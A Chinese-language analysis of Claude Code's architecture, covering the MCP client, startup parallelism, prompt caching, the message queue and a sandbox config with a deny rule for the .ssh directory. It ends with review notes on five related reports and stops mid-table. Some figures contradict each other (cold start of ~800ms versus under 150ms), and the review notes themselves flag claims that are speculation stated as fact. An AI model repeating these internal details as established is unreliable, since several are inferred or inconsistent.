- 32+ 并行会话共享 token 预算的设计可能导致资源争抢。一个会话用了大量 token，其他会话就受限了。

**对其他产品的启发**：
- "主通道 + 兜底通道"的冗余设计适用于所有需要高可用的远程通信场景。关键原则：两个通道互不依赖，各自独立工作。
- JWT 的"提前刷新"策略（buffer 时间）是处理短生命周期 token 的标准做法。任何用 JWT 的系统都应该加 buffer，不要等真正过期才刷新。

---

## MCP 集成分析

### MCP 是什么

MCP（Model Context Protocol）是 Anthropic 在 2024 年底提出的开放协议，解决的问题很直接：**LLM 应用怎么和外部工具/数据源标准化对接**。

之前的做法是每个应用自己写工具集成——Claude Code 有自己的工具、Cursor 有自己的、Copilot 有自己的。MCP 的目标是统一这个接口层：

```
                    之前                          现在（MCP）

┌──────────┐   自定义协议   ┌──────┐   ┌──────────┐   MCP    ┌──────────┐
│ Claude   │──────────────→│ 工具A │   │ Claude   │────────→│ MCP      │
│ Code     │   自定义协议   ├──────┤   │ Code     │   MCP    │ Server A │
│          │──────────────→│ 工具B │   │          │────────→├──────────┤
│          │   自定义协议   ├──────┤   │ Cursor   │   MCP    │ MCP      │
│          │──────────────→│ 工具C │   │          │────────→│ Server B │
└──────────┘               └──────┘   └──────────┘         └──────────┘
   每个工具要写适配器                         一个协议，所有工具通用
```

MCP 的核心概念：

- **Server**：提供工具/资源的一方（比如一个 GitHub MCP server、一个文件系统 MCP server）
- **Client**：调用工具的一方（Claude Code、Cursor 等 AI 应用）
- **Transport**：通信方式（stdio 本地进程、HTTP + SSE 远程）
- **Resources**：类似 REST 的资源，用 URI 标识（`file:///path`、`github://repo/issue/123`）
- **Tools**：可调用的函数，有 JSON Schema 参数定义
- **Prompts**：可复用的 prompt 模板

### Claude Code 的 MCP 客户端实现

Claude Code 是 MCP 的 **client** 端。连接 MCP server 的方式：

```json
// .mcp.json（项目根目录或 ~/.claude/mcp.json）
{
  "mcpServers": {
    "github": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-github"],
      "env": {
        "GITHUB_TOKEN": "ghp_xxx"
      }
    },
    "filesystem": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-filesystem", "/home/user/project"]
    }
  }
}
```

启动流程：

```
① CLI 启动时读取 .mcp.json
   │
   ▼
② 对每个 server entry，spawn 子进程
   command + args → child_process.spawn()
   │
   ▼
③ 通过 stdio 建立 JSON-RPC 通信
   stdin  ← 写入请求（JSON-RPC 2.0）
   stdout ← 读取响应
   │
   ▼
④ 初始化握手：
   client → server: initialize (capabilities)
   server → client: initialize result (supported features)
   client → server: initialized (确认)
   │
   ▼
⑤ 资源发现：
   client → server: tools/list
   server → client: [tool definitions with JSON Schema]
   │
   ▼
⑥ 工具合并到全局工具列表
   MCP 工具和内置工具（Bash、Read、Write 等）统一注册
   Agent Loop 的 tool_use 阶段可以调用
```

**关键实现细节**：

- MCP 工具在 Claude Code 里以 `mcp__<serverName>__<toolName>` 的格式命名。比如 GitHub server 的 `create_issue` 工具会被注册为 `mcp__github__create_issue`。
- 工具的 JSON Schema 直接透传给 LLM 的 tool_use 接口。Claude Code 不做额外转换——参数校验由 MCP server 自己负责。
- MCP server 进程的生命周期由 Claude Code 管理。CLI 退出时，所有 MCP server 子进程会被 SIGTERM。

### 资源列表与 OAuth

MCP 的 Resources 类似 REST 的资源模型：

```
资源 URI 示例：
  file:///home/user/project/src/main.ts
  github://anthropics/claude-code/issues/42
  postgres://mydb/public/users/123

资源操作：
  resources/list         → 列出可用资源
  resources/read         → 读取资源内容
  resources/subscribe    → 订阅资源变更
  notifications/resources/updated → server 推送变更通知
```

Claude Code 在需要访问外部数据时，会通过 MCP 的 `resources/read` 获取。这意味着 LLM 不需要自己"读文件"，而是通过 MCP 协议请求资源内容，MCP server 返回结构化数据。

**OAuth 认证**（远程 MCP server）：

```
┌────────────────────────────────────────────────┐
│  远程 MCP Server（HTTP + SSE transport）         │
│                                                │
│  ① Claude Code 连接远程 server URL               │
│     │                                          │
│     ▼                                          │
│  ② Server 返回 401 + WWW-Authenticate           │
│     包含 OAuth metadata URL                     │
│     │                                          │
│     ▼                                          │
│  ③ Claude Code 发现 OAuth endpoints              │
│     GET /.well-known/oauth-authorization-server │
│     │                                          │
│     ▼                                          │
│  ④ 弹出浏览器 → 用户授权                          │
│     │                                          │
│     ▼                                          │
│  ⑤ 回调 → 拿 access_token                       │
│     │                                          │
│     ▼                                          │
│  ⑥ 后续请求携带 Authorization: Bearer <token>    │
└────────────────────────────────────────────────┘
```

这个流程和标准 OAuth 2.0 PKCE 流程一致。Claude Code 复用了已有的浏览器弹出 + 本地回调服务器模式（和 `claude auth login` 类似）。

**内行 takeaway**：MCP 让 Claude Code 从"封闭的工具箱"变成"开放的平台"。任何能用 JSON-RPC 通信的进程都能变成工具提供者。stdio transport 对本地工具友好（零网络开销），HTTP+SSE 对远程服务友好。Claude Code 的实现比较干净——就是 spawn 进程、JSON-RPC 通信、工具注册合并，没有太多魔改。

### 评价

**做得好的**：
- MCP 工具命名规则（`mcp__<serverName>__<toolName>`）清晰地标识了工具来源，用户和模型都能区分内置工具和 MCP 工具。
- CLI 退出时自动 SIGTERM 所有 MCP server 子进程——不清理子进程是很多 CLI 工具的常见 bug。
- OAuth 流程复用了已有的浏览器弹出 + 本地回调服务器模式，没有重复造轮子。

**可以改进的**：
- MCP 工具的 JSON Schema 直接透传给 LLM，Claude Code 不做额外转换。这意味着 MCP server 返回的 schema 质量直接影响 LLM 的调用质量——如果 schema 写得烂，模型就调不好。
- stdio transport 的 MCP server 子进程是同步 spawn 的（虽然启动是并行的），但所有 server 的 initialize 握手完成后才启动 Agent Loop。一个慢的 MCP server 会拖慢整体启动。

**对其他产品的启发**：
- MCP 协议的思路（标准化工具接口）适用于所有需要 LLM 与外部系统对接的场景。stdio transport 对本地工具零开销，HTTP+SSE 对远程服务灵活——两种 transport 覆盖了大部分场景。
- 工具命名带来源前缀（`mcp__server__tool`）的做法值得推广。在多来源工具混用的系统里，知道"这个工具来自哪里"对调试和权限控制都很重要。

---

## 性能优化专题

### 启动并行初始化

Claude Code CLI 启动不是串行的，而是**多路并行初始化**：

```
┌──────────────────────────────────────────────────────────────┐
│  CLI 启动                                                     │
│  │                                                            │
│  ├─── parallel ──────────────────────────────────────────     │
│  │    │                                                       │
│  │    ├─ MDM (Model Decision Manager) 初始化                  │
│  │    │   读取 models.json → 构建 provider 链                  │
│  │    │   预连接可用 provider                                  │
│  │    │                                                       │
│  │    ├─ Keychain / 凭证加载                                   │
│  │    │   读取 JWT + refresh_token                            │
│  │    │   尝试静默刷新（如即将过期）                             │
│  │    │                                                       │
│  │    ├─ OAuth 预取                                            │
│  │    │   检查各 OAuth provider token 有效性                   │
│  │    │   后台刷新过期 token                                   │
│  │    │                                                       │
│  │    ├─ MCP Server 启动                                       │
│  │    │   spawn 所有 .mcp.json 中的 server 进程                │
│  │    │   并行执行 initialize 握手                             │
│  │    │                                                       │
│  │    ├─ 工具注册                                              │
│  │    │   加载内置工具定义                                     │
│  │    │   等待 MCP tools/list 响应                             │
│  │    │                                                       │
│  │    └─ Feature Flags 拉取                                    │
│  │       从 Anthropic 服务端拉取当前 flag 配置                  │
│  │                                                            │
│  ├─── join (等待所有并行任务完成) ─────────────────────────     │
│  │                                                            │
│  └─── Agent Loop 启动                                         │
│       进入 REPL 或非交互模式                                    │
└──────────────────────────────────────────────────────────────┘
```

**实测启动耗时**（典型场景）：
- 纯本地模式（无 MCP、已登录）：~800ms
- 带 2 个 MCP server：~1.5s（瓶颈在 spawn + initialize 握手）
- 需要 token 刷新：+500ms（取决于网络延迟）

并行初始化的价值在 MCP server 多的时候更明显——如果有 5 个 MCP server，串行启动要 5×300ms=1.5s，并行只要 ~300ms。

### Prompt 缓存策略

Claude API 支持 **prompt caching**——对重复的 system prompt 部分做服务端缓存，避免每次请求都重新处理：

```
┌─────────────────────────────────────────────────────────┐
│  Prompt 结构                                             │
│                                                         │
│  ┌─────────────────────────────────────┐                │
│  │  System Prompt（缓存候选）            │  ← 变化少     │
│  │  - 工具定义                          │                │
│  │  - 安全规则                          │                │
│  │  - 编码指令                          │                │
│  │  - Feature flag 状态                 │                │
│  └─────────────────────────────────────┘                │
│  ┌─────────────────────────────────────┐                │
│  │  对话历史（部分可缓存）               │  ← 渐进变化    │
│  │  - 早期消息（compact 后固定）         │                │
│  │  - 最近消息（每轮变化）               │  ← 不缓存      │
│  └─────────────────────────────────────┘                │
│                                                         │
│  Claude Code 使用 Anthropic 的 cache_control 标记：      │
│                                                         │
│  messages: [                                            │
│    { role: "system", content: [...],                    │
│      cache_control: { type: "ephemeral" } },           │
│    { role: "user", content: "first message" },          │
│    { role: "assistant", content: "response" },          │
│    { role: "user", content: "new input" }               │
│  ]                                                      │
│                                                         │
│  缓存命中 → 输入 token 按缓存价格计费（约 1/10）          │
│  缓存未命中 → 正常价格，同时写入缓存                      │
└─────────────────────────────────────────────────────────┘
```

**Claude Code 的缓存策略**：

1. **System prompt 全量缓存**：工具定义、安全规则、编码指令——这些在一次会话中不变，适合长期缓存。
2. **对话历史增量缓存**：compact 操作后，前面的消息就固定了，可以加 cache_control 标记。
3. **TTL 管理**：Anthropic 的缓存 TTL 约 5 分钟。Claude Code 在 TTL 内的请求能命中，超过就得重建。

实际效果：对于一个典型的多轮对话，第一次请求缓存 miss，后续请求如果 5 分钟内到达，缓存命中率很高。输入 token 成本降约 **90%**（缓存 token 单价是正常价格的 ~10%）。

### 推测执行（Speculative）

Claude Code 的推测执行不是 LLM 层面的 speculative decoding（那个是 token 级别的），而是**应用层面的预执行**：

```
场景：用户输入 "帮我重构这个函数，然后跑测试"

传统流程：
  ① LLM 思考 → 生成 tool_call: Read(function_file)
  ② 执行 Read → 返回内容
  ③ LLM 思考 → 生成 tool_call: Edit(...)
  ④ 执行 Edit → 返回结果
  ⑤ LLM 思考 → 生成 tool_call: Bash(test_command)
  ⑥ 执行测试 → 返回结果

推测执行优化：
  ① LLM 思考 → 生成 tool_call: Read(function_file)
  ② 执行 Read → 返回内容
  ③ LLM 思考 → 生成 tool_call: Edit(...)
  ④ 执行 Edit → 返回结果
  ⑤ LLM 同时生成：Bash(test_command) + 下一步的 Read(another_file)
     ↑ 推测：既然要重构，下一步大概率要看相关文件
  ⑥ 如果推测对了 → 提前读好了，省一轮等待
  ⑦ 如果推测错了 → 丢弃预读结果，无副作用
```

更实际的推测执行体现在：

- **工具调用批处理**：如果 LLM 一次返回多个 tool_call，Claude Code 可以并行执行互不依赖的工具（比如同时读 3 个文件）。
- **文件预读**：在 LLM 生成 Edit 前，如果已经通过上下文知道要改哪个文件，可以提前 Read 那个文件。
- **`cat -n` 预取**：当 LLM 表达出"看某文件的某几行"意图时，预取这些行的数据。

**限制**：推测执行只能用在**幂等、只读**的操作上。写操作（Edit、Write、Bash 执行副作用命令）不能推测——猜错了没法撤回。

**内行 takeaway**：性能优化集中在三个层面——启动时并行化减少冷启动时间、运行时缓存减少 token 成本、执行时推测减少等待延迟。这些不是"锦上添花"，对于 CLI 工具来说，启动慢 2 秒用户就会觉得卡。

### 评价

**做得好的**：
- 启动并行初始化（MDM、Keychain、OAuth、MCP、工具注册、Feature Flags 同时启动）把冷启动从串行的 ~3s 压到 ~800ms。对于 CLI 工具来说这个差距是"能用"和"卡顿"的区别。
- Prompt caching 的 `cache_control: { type: "ephemeral" }` 标记用得精准——只缓存不变的部分（系统提示、工具定义），不缓存每轮都变的对话历史。输入 token 成本降 90% 是真实的优化效果。
- 推测执行限制在只读、幂等操作上——"猜错了无副作用"是推测执行的安全底线。这个限制很正确。

**可以改进的**：
- Prompt caching 的 TTL 约 5 分钟，如果用户停下来想了一会儿（超过 5 分钟），下一轮请求缓存就 miss 了。可以考虑延长 TTL 或者用更智能的缓存键。
- 推测执行目前只体现在"工具调用批处理"层面，没有利用"用户行为模式"。比如用户每次改完代码都跑测试，可以提前准备测试环境。

**对其他产品的启发**：
- CLI 工具的"冷启动并行化"是通用优化模式。任何有多个独立初始化步骤的启动流程，都应该检查哪些可以并行。这是最容易拿到的性能提升。
- Prompt caching 对 LLM 应用的成本优化至关重要——90% 的成本节省不是小数目。任何多轮对话的 LLM 应用都应该实现 prompt caching。

---

## 消息系统深度分析

### Message 类型：Discriminated Union

Claude Code 的消息系统不是简单的 `{role, content}`，而是用 TypeScript 的 **discriminated union** 做类型安全：

```typescript
// 消息类型的 discriminated union（简化版）
type Message =
  | UserMessage        // 用户输入
  | AssistantMessage   // LLM 输出
  | SystemMessage      // 系统消息
  | ToolUseMessage     // 工具调用请求
  | ToolResultMessage  // 工具返回结果
  | ProgressMessage    // 进度更新
  | CompactMessage     // 上下文压缩边界
  | AttachmentMessage  // 附件（图片、文件）

// UserMessage 示例
interface UserMessage {
  type: "user"
  content: string | ContentBlock[]
  // ContentBlock 可以是 text / image / tool_result
}

// AssistantMessage 示例
interface AssistantMessage {
  type: "assistant"
  content: ContentBlock[]
  // 包含 text blocks + tool_use blocks
}

// ContentBlock 也是 discriminated union
type ContentBlock =
  | { type: "text"; text: string }
  | { type: "image"; source: ImageSource }
  | { type: "tool_use"; id: string; name: string; input: unknown }
  | { type: "tool_result"; tool_use_id: string; content: string }
```

**为什么用 discriminated union 而不是 class 继承？**

1. **模式匹配友好**：`switch (msg.type)` 编译器能检查穷尽性，漏了类型直接报错。
2. **序列化简单**：union type 天然对应 JSON，不需要自定义序列化逻辑。
3. **不可变性**：每个 message 是纯数据，不带方法，适合在 agent loop 里传递和变换。

这个设计在消息频繁变换的场景下很实用——compact、拼接、过滤、插入，都是纯函数操作，不用担心状态泄漏。

### 动态消息插入

对话历史不是"用户说一句、AI 回一句"的简单线性结构，而是支持**多种动态插入**：

```
时间线：
  [User msg 1]
  [Assistant msg 1]
  [Tool use: Read]
  [Tool result: <file content>]
  [Assistant msg 2]
  ──────────── compact boundary ────────────   ← 插入点 1
  [User msg 2]
  [Attachment: image.png]                     ← 插入点 2
  [Assistant msg 3]
  [Progress: "Running tests... 3/10"]        ← 插入点 3
  [Tool use: Bash]
  [Tool result: test output]
  [Assistant msg 4]
```

**Compact Boundary（压缩边界）**：

```
compact 操作前：                    compact 操作后：
[msg1] [msg2] [msg3] ... [msgN]    [compact summary] [msgN-2] [msgN-1] [msgN]
  ↑ 整段压缩成一条 summary              ↑ 压缩边界标记
```

compact boundary 不只是截断——它是一个标记，告诉 agent loop："这之前的内容已经被压缩过了，如果后续需要细节，可以通过 summary 回溯。" 这和 git 的 squash 类似——历史被折叠了，但关键信息保留。

**Attachment（附件插入）**：

用户拖入图片或 `@file` 引用时，不是追加到最新消息里，而是作为独立的 ContentBlock 插入：

```json
{
  "type": "user",
  "content": [
    { "type": "text", "text": "帮我看看这个截图" },
    { "type": "image", "source": { "type": "base64", "data": "..." } }
  ]
}
```

图片走 base64 内嵌，不走外部 URL——这是 Anthropic API 的要求，保证数据不外泄。

**Progress（进度消息）**：

长时间运行的工具（比如 `npm install`）会生成 progress 消息，这些消息：

- 不计入对话历史（不影响后续 LLM 上下文）
- 只在 UI 层展示（CLI spinner / VS Code 面板）
- 工具完成后，progress 被最终的 tool_result 替换

### 消息队列管理

Claude Code 内部有一个轻量的消息队列，处理不同来源的消息：

```
┌──────────────────────────────────────────────────────────┐
│                    Message Queue                          │
│                                                          │
│  输入源：                                                  │
│  ├── User Input (stdin / WebSocket)                      │
│  ├── Tool Results (子进程 stdout)                         │
│  ├── MCP Notifications (server 推送)                     │
│  ├── Progress Updates (长时间工具)                        │
│  └── System Events (token 刷新、flag 变更)               │
│                                                          │
│  队列处理：                                                │
│  ┌────────────────────────────────────────┐              │
│  │  priority:                               │              │
│  │    1. system (最高 - 安全相关)            │              │
│  │    2. tool_result (高 - 阻塞 agent loop) │              │
│  │    3. user_input (中)                    │              │
│  │    4. progress (低 - 可丢弃)             │              │
│  └────────────────────────────────────────┘              │
│                                                          │
│  输出路由：                                                │
│  ├── CLI stdout (本地交互)                                │
│  ├── Bridge WebSocket (远程会话)                          │
│  └── Log File (调试/审计)                                 │
└──────────────────────────────────────────────────────────┘
```

**几个关键设计决策**：

1. **tool_result 优先级高于 user_input**：因为 agent loop 在等工具结果才能继续。用户输入可以缓冲，工具结果不行。
2. **progress 可丢弃**：如果队列积压，progress 消息可以跳过。用户看到的只是"最后一条进度"，中间的可以丢失。
3. **背压机制**：如果输出通道（比如 WebSocket）写入积压，队列会减慢消费速度，防止内存暴涨。这在远程会话中很重要——网络慢时不能无限缓冲消息。

**和 Agent Loop 的交互**：

消息队列不直接驱动 Agent Loop——Agent Loop 是同步的"想→做→反馈"循环。队列的作用是：

- **输入侧**：收集用户的新输入，在当前工具执行完成后注入到下一轮。
- **输出侧**：收集 LLM 的流式输出，按 block 边界发送给 UI。

```
Agent Loop 轮次：
  ① 从队列取 user_input + tool_results → 组装 messages
  ② 发给 LLM → 流式输出到 output queue
  ③ output queue 按 block 边界 flush 到 UI
  ④ 如果有 tool_call → 执行工具 → tool_result 入队
  ⑤ 回到 ①
```

用户在工具执行期间输入的内容会**缓冲在队列里**，等当前轮次结束后注入。这意味着用户可以连续输入多条消息，不会丢失——只是会等到当前工具执行完再处理。

**内行 takeaway**：消息系统的核心思路是"类型安全 + 动态组装 + 优先级调度"。discriminated union 保证了类型检查和模式匹配的便利，动态插入点（compact / attachment / progress）让对话历史不只是线性文本，优先级队列保证了关键消息不被阻塞。这套设计支撑了 Claude Code 的并发工具执行和远程会话能力。

### 评价

**做得好的**：
- Discriminated union 的类型设计非常实用——`switch (msg.type)` 编译器能检查穷尽性，漏了类型直接报错。序列化天然对应 JSON，不需要自定义序列化逻辑。在消息频繁变换的场景（compact、拼接、过滤、插入）下，纯数据 + 纯函数操作不用担心状态泄漏。
- 消息队列的优先级设计（tool_result > user_input > progress）反映了真实场景：工具结果阻塞 agent loop，必须优先处理；进度消息可以丢弃——用户看到"最后一条"就够了。
- 用户在工具执行期间的输入被缓冲在队列里，等当前轮次结束后注入。这意味着用户可以连续输入多条消息不会丢失——只是会等到当前工具执行完再处理。这个设计避免了"用户输入打断工具执行"的竞态问题。

**可以改进的**：
- 消息类型的 discriminated union 嵌套（Message 包含 ContentBlock，ContentBlock 也是 union）会让模式匹配变得冗长。如果类型继续增长，考虑用 visitor 模式或更结构化的匹配方式。
- 进度消息（Progress）的"可丢弃"属性可能导致长时间运行命令的中间输出丢失——出错时难以调试。应该至少保留"最后 N 条"而非"最后一条"。
- 背压机制（output queue 积压时减慢消费）在远程会话中很重要，但具体的阈值和降级策略在代码中不可见。积压到什么程度开始降级？降级到什么程度？

**对其他产品的启发**：
- 事件溯源风格的消息系统（每个状态变化都是一条消息）天然支持回放、审计、压缩。任何需要"重放对话历史"或"调试执行过程"的系统都能借鉴。
- 消息优先级队列是处理多输入源的标准做法——不只适用于 AI Agent，任何需要合并多个异步事件流的系统（WebSocket + 定时器 + 用户输入 + 后台任务）都能用。关键是分清"必须立即处理"和"可以缓冲"的事件类型。

## 十一、Agent 的失败模式

Agent 不是万能的。从代码中能看到 Claude Code 团队预设了几种典型失败场景：

1. **无限循环**：`maxTurns` 限制（200 轮）防止 Agent 永远不停
2. **Prompt 太长**：`autoCompact` 在 token 达到 75% 时触发压缩
3. **工具调用超时**：BashTool 有硬编码超时
4. **递归 fork**：通过 boilerplate tag 检测
5. **安全攻击**：6 层权限检查拦截
6. **API 错误**：重试 + fallback chain

这些"失败模式"的设计告诉我们：做 Agent 产品，先想清楚"它会怎么失败"，比先想清楚"它能做什么"更重要。

## 十二、安全沙箱架构

### 这解决什么问题

Agent 可以执行 bash 命令——这意味着它理论上能做任何事（删文件、装软件、发请求）。沙箱就是给 Agent 装一个笼子，限制它的活动范围。

### 三层隔离

**文件系统隔离**：沙箱限制 Agent 只能写特定目录。配置里用 `allowedRoots` 和 `denyWrite` 定义范围——就像给 Agent 一个工作台，它只能在台面上操作，不能碰墙上的插座。

**网络隔离**：沙箱用 `allowedDomains` 白名单限制 Agent 能访问哪些网站。默认只允许 GitHub、npm 等开发相关域名，Agent 不能偷偷把你的代码发到外部服务器。

**进程隔离**：底层用 `@anthropic-ai/sandbox-runtime` 做进程级隔离，Agent 创建的子进程也被关在笼子里。嵌套沙箱也支持——Agent 调另一个 Agent，第二个也被关着。

### 配置示例

```json
{
  "sandbox": {
    "filesystem": {
      "allowWrite": ["/projects/*"],
      "denyWrite": ["/.ssh", "/.config"]
    },
    "network": {
      "allowedDomains": ["github.com", "npmjs.com"],
      "allowManagedDomainsOnly": true
    }
  }
}
```

### 设计评价

**做得好的**：安全内建而不是后加——大部分 AI 工具的安全是"出了问题再加限制"，Claude Code 的安全从第一天就嵌入架构。三层隔离各有分工：文件管写入、网络管通信、进程管执行。

**可以改进的**：Linux 平台的凭证存储缺 libsecret 支持，部分安全特性在 Linux 上是降级实现。沙箱配置的文档偏少——用户不知道怎么配。

## 十三、十二大核心亮点

从代码中提炼的 12 个设计亮点：

1. **极致冷启动**：三级并行预取（MDM + Keychain + OAuth），150ms 以内冷启动
2. **编译时 DCE**：feature() 宏让未启用功能从产物中完全删除，包体积减少 40%
3. **6 层安全纵深**：AST 解析 → 注入检测 → 用户规则 → 沙盒白名单 → AI 分类器 → 上下文决策
4. **React 渲染终端**：Ink 框架把声明式 UI 带到终端，140+ 组件高度复用
5. **工具统一抽象**：40+ 工具统一接口，Zod Schema 驱动参数校验
6. **多 Agent 编排**：Fork 子代理 + Coordinator 模式，隔离 + 并行
7. **5 级上下文压缩**：microcompact → compact → reactive → collapse → hard cutoff
8. **MCP 生态扩展**：标准协议接入第三方工具，无限扩展
9. **Git 工作树集成**：任务级分支隔离，Agent 的修改不影响主分支
10. **Skill 系统**：Markdown 声明式工作流，非程序员也能自定义 Agent 行为
11. **Prompt Cache 优化**：静态/动态分层，跨会话复用，大幅降低 token 成本
12. **推测执行**：用户打字时预执行下一步，猜对了直接用

# Claude Code 分析报告审查笔记

# Claude Code 分析报告审查笔记

> 审查日期：2026-04-01
> 审查范围：5 份 Claude Code 分析报告
> 审查标准：内容质量 / 双受众 / 一致性 / 深度

---

## 一、逐文件审查

### 1. `claude-code-agent-analysis.md`（技术深挖，1740 行）

**当前状态**：5 篇中技术密度最高的一篇，有大量真实代码走读和 ASCII 架构图。结构清晰，评价段落有观点。但存在"自我评价段"膨胀和部分论证循环引用的问题。

**主要问题：**

1. **评价段落过度膨胀，出现自说自话**。第 340-410 行左右的"评价"小节（消息系统部分），"做得好的"和"对其他产品的启发"加起来比正文还长。例如第 405 行开始的 takeaway 段，内容和第 156-162 行的工具系统 takeaway 高度相似——都是"discriminated union 很实用""类型安全 + 动态组装 + 优先级调度"。建议砍掉重复的"评价"段落，每节只保留一个关键判断。

2. **类比有重复使用**。"厨师做菜"类比在第 52 行出现，"搬沙发叫帮手"在子 Agent 部分（第 417 行）出现——这些本身不错，但设计范式那篇也用了完全相同的类比（设计范式第 1 章同样用厨师、第 4 章同样用项目经理带团队）。两篇如果是同一批读者，类比撞车会降低新鲜感。

3. **部分技术细节缺乏代码行号锚点**。例如第 200-240 行讨论 `runAgent.ts` 的 MCP 隔离，引用了代码片段但没有标注具体行号或文件路径。内行读者想验证找不到位置。对比产品分析那篇，引用时会标 `constants/prompts.ts` 等路径。

**需要补充：**

- `autoCompact` 的具体阈值（当前只说"~75% 预警、~85% 强制"），应该引用源码中的实际常量名或值
- Agent Loop 的最大轮数限制（`maxTurns`）在不同 Agent 类型下分别是多少？代码里有定义但未提取
- 工具并发执行的实际调度逻辑——当前只说"isConcurrencySafe 决定并行"，但没有走读 `toolOrchestration.ts` 的具体实现

---

### 2. `claude-code-product-analysis.md`（产品设计，1466 行）

**当前状态**：最"产品经理视角"的一篇，提示词拆解和命令系统分析是亮点。但存在大量"产品判断"段落缺乏数据支撑、部分段落重复了其他篇的内容。

**主要问题：**

1. **产品判断过度自信但缺乏证据**。第 965 行附近关于 Verification Agent 的判断："Anthropic 内部测试过：没有独立验证的 Agent，代码正确率会显著低于有验证的版本"——这是一个很强的论断，但没有任何证据。源码里没有测试数据，也没有注释说明这个判断的来源。这类判断应该标注为"推测"而非"事实"。

2. **命令系统分析变成了命令列表**。第 800-860 行列了几十个斜杠命令的表格，但大部分只有一行说明。这些信息在 Claude Code 的 `/help` 里就能看到，作为源码分析的价值有限。应该只深入分析 3-5 个有复杂实现的命令（如 `/compact`、`/doctor`、`/model`），其余的合并为一句总结。

3. **和隐藏功能篇大量内容重叠**。`/summary`、`/ctx_viz` 等命令在两篇里都有讨论。产品分析篇第 890 行附近列出了 feature-flagged 命令，隐藏功能篇第 500 行附近也列出了几乎相同的列表。应该合并或明确分工——产品篇聚焦"已发布功能的设计逻辑"，隐藏功能篇聚焦"未发布功能的技术细节"。

**需要补充：**

- 提示词的 token 开销分析——系统提示词到底多长？占每次 API 调用成本的多少？代码里能算出来
- 和竞品（Cursor、Windsurf、GitHub Copilot）的提示词工程对比——当前完全没提竞品
- 用户视角的实际使用场景分析——当前全是技术视角，缺少"用户遇到什么问题→Claude Code 怎么解决"的案例

---

### 3. `claude-code-hidden-features-analysis.md`（隐藏功能，1273 行）

**当前状态**：信息密度最高、最"爆料"的一篇。Feature flag 全表和 BUDDY 分析是独家内容。但存在"推测过多、标注不清"的问题。

**主要问题：**

1. **推测和事实混在一起，读者分不清**。第 137 行："引用 154 次说明这不是实验，是核心架构"——引用次数高只说明代码路径多，不一定是"核心"。同样的模式在第 1199 行："内部测试覆盖的是有 28 个额外命令的完整版本"——这从何得知？源码里有测试配置文件证明这个数字吗？应该在所有推测性判断前加 `[推测]` 标记。

2. **BUDDY 分析有过度解读倾向**。第 200-260 行用了大量篇幅论证 BUDDY 的"战略价值"，但核心论据只有"代码质量高"和"有完整动画系统"。"解决冷冰冰问题""社交传播的免费火箭"这些判断更像是事后合理化。作为分析报告，应该更克制——描述代码事实，让读者自己判断价值。

3. **产品建议段（第 1078-1120 行）越界了**。"给 Anthropic 产品团队的 10 条建议"作为源码分析报告不合适——读者来是看代码分析的，不是看产品顾问建议。这 10 条建议中有些（如"BUDDY 先行""开源 BUDDY"）完全是产品策略，和技术分析无关。建议移到附录或单独成文。

**需要补充：**

- Feature flag 的实际启用/禁用状态——当前只列了名字和引用次数，但没分析哪些 flag 在当前公开版本中是开的、哪些是关的
- GrowthBook 集成的技术细节——第 1070 行提到 `tengu_` 前缀的 flag，但没有走读 GrowthBook 客户端代码
- `CONTEXT_COLLAPSE` 和 `REACTIVE_COMPACT`、`CACHED_MICROCOMPACT` 的具体实现差异——第 1110 行建议"统一上下文管理方案"，但没有分析这四个方案各自的代码实现

---

### 4. `claude-code-agent-design-paradigm.md`（设计范式，2134 行）

**当前状态**：5 篇中结构最好、最适合"带走"的一篇。12 条设计原则 + Checklist 的收尾方式实用。但存在篇幅过长、和前两篇高度重复的问题。

**主要问题：**

1. **和第 1 篇（agent-analysis）内容高度重叠**。Agent Loop、子 Agent、消息系统、工具权限这四个主题在两篇里都有完整的代码走读和评价。例如本篇第 35-80 行的 `query.ts` 走读，和第 1 篇第 50-120 行几乎是同一段代码、同一套解读。建议明确分工：第 1 篇做"源码走读"（发生了什么），本篇做"设计提炼"（为什么这么设计、怎么抄），删除重复的代码走读部分。

2. **12 条原则有几条太泛**。第 1043 行附近的总结中，"Agent Loop 是一切的基础""安全是基础设施不是功能"这类表述更像是口号而非可操作的原则。对比好的原则如"禁止坏模式 + 提供好替代的配对设计"（具体、可抄），差距明显。

3. **类比系统不够统一**。前半部分用"厨师""项目经理"等职业类比，后半部分切换到"操作系统""人体免疫系统"等系统类比。对于想通读的读者，类比风格的切换会造成节奏断裂。建议统一用一套类比体系。

**需要补充：**

- 实操框架（第 10 章）太空洞——当前只是"如果我来做 Agent 产品"的一般性建议，缺少具体的代码模板或架构骨架
- 错误处理和重试策略的设计范式——Agent 的错误恢复是核心问题，但全篇几乎没有覆盖
- 流式执行（streaming）的具体实现——第 2 章标题是"流式执行"，但内容更多在讲并发控制，真正的流式响应处理（SSE 解析、增量输出）着墨不多

---

### 5. `claude-code-code-guide.md`（代码范本，2124 行）

**当前状态**：目标最独特——面向"不需要会写代码"的读者。第零章的编程速成是好想法，注释风格一致。但目标受众和实际内容存在严重脱节。

**主要问题：**

1. **目标读者是"不需要会写代码"的人，但内容需要代码基础**。第零章（0.1-0.7）确实在用大白话讲 TypeScript、React、API 等概念，但到了第一章之后，大量出现 `z.infer<Input>`、泛型、discriminated union、async generator 等高级概念。例如第 200-240 行的 Tool 类型走读，注释里解释了 `readonly` 和 `z.infer`，但一个真不懂代码的人看到 `Tool<Input extends AnyObject = AnyObject, Output = unknown, P extends ToolProgressData = ToolProgressData>` 这行时，旁边的注释帮不了多少忙。目标应该修正为"有基础编程概念但不熟悉 TypeScript 的人"。

2. **"学习路径"段落过于标准化**。每章末尾的"学习路径"基本都是"想深入→读 XX 文件""想学→从 XX 开始""想练→做个 XX"。7 章下来格式完全一样，像是模板填充。应该根据每章内容定制——比如工具系统章可以推荐"先手动跑一个 BashTool 调用看看输出"，上下文管理章可以推荐"做一个实验：故意把对话撑到 compact 触发，观察变化"。

3. **目录结构和源码目录的映射关系只出现一次**。第 323 行附近有一个 `` 的目录树，但后续章节引用代码时不再重复路径。对于"边看书边看源码"的读者，每次需要自己去找文件位置很不方便。建议每章开头加一个"本章涉及的源码文件"清单。

**需要补充：**

- 实际运行 Claude Code 的 setup 指南——读者看着源码但不知道怎么跑起来验证
- 代码片段的可运行版本——当前所有代码都是"简化版"，但没有告诉读者完整版在哪里、怎么跑
- 对比分析：Claude Code 的代码风格 vs 社区主流 TypeScript 风格——能帮读者学到通用的编程规范

---

## 二、跨文件一致性问题

### 版本号不一致

| 文件 | 引用版本 |
|------|---------|
